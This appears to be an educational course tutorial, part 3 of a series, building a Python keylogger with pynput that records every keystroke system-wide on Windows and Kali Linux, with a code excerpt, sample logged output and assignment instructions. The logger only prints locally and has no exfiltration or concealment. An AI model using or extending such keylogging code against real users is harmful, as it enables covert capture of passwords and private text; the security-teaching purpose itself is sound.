Part 3: Python Keylogger

Contents

Time required: 30 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

NOTE: pynput is supported in the latest version of Kali Linux. You must update Kali.

```
sudo apt update
# You may need to run this a couple of times until there are no more updates
sudo apt dist_upgrade -y
```

KeyLogger 3

The KeyLogger class init does not change.

We are going to handle the spacebar. We want to see a space in the log rather than key.spacebar

1. Save **frog_2.py** as **frog_3.py**

```
# ------------------------ PROCESS KEY PRESS ---------------------------- #
    def process_key_press(self, key):
        """Callback function whenever a key is pressed"""
        # Add each key strike to a log
        # Convert keycode object to string
        # .char converts the key stroke to a character
        # removes the u before the character
        try:
            self.log = self.log + str(key.char)
            # Special keys do not have a char attribute
        except AttributeError:
            # Store the space instead of Keycode.space
            if key == key.space:
                self.log = self.log + " "
            else:
                # Put a space between special keys
                self.log = self.log + " " + str(key) + " "

        print(self.log)

        # Press the Esc key to exit the program
        if key == keyboard.Key.esc:
            print("Exiting Key Logger")
            return False


the_frog = TheFrog()
```

We are converting each keystroke object to a char variable. That will remove the quotes around the keystrokes. Special keys do not have a char attribute. A try catch was added to catch attribute errors. The special keys are still shown with an extra space between them and other keystrokes.

Run the program in both operating systems. You can type anywhere on your computer. Each keystroke will be logged.

Example run in Windows:

```
t
th
thi
this
this
this i
this is
this is
this is a
this is a
this is a  Key.tab
this is a  Key.tab  Key.print_screen
```

Notice that the keylogger even captured the print screen key used to capture the screen shot.

Linux

Change to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 frog_3.py

Example run in Linux:

```
┌──(Code)─(user㉿kalibill)-[~/Code]
└─$ python3 key_logger_3.py
t
th
thi
this
this
this i
this is
this is
this is f
this is fu
this is fun
this is fun Key.esc
Exiting Key Logger
```

Assignment Submission

1. Attach all program files.
2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.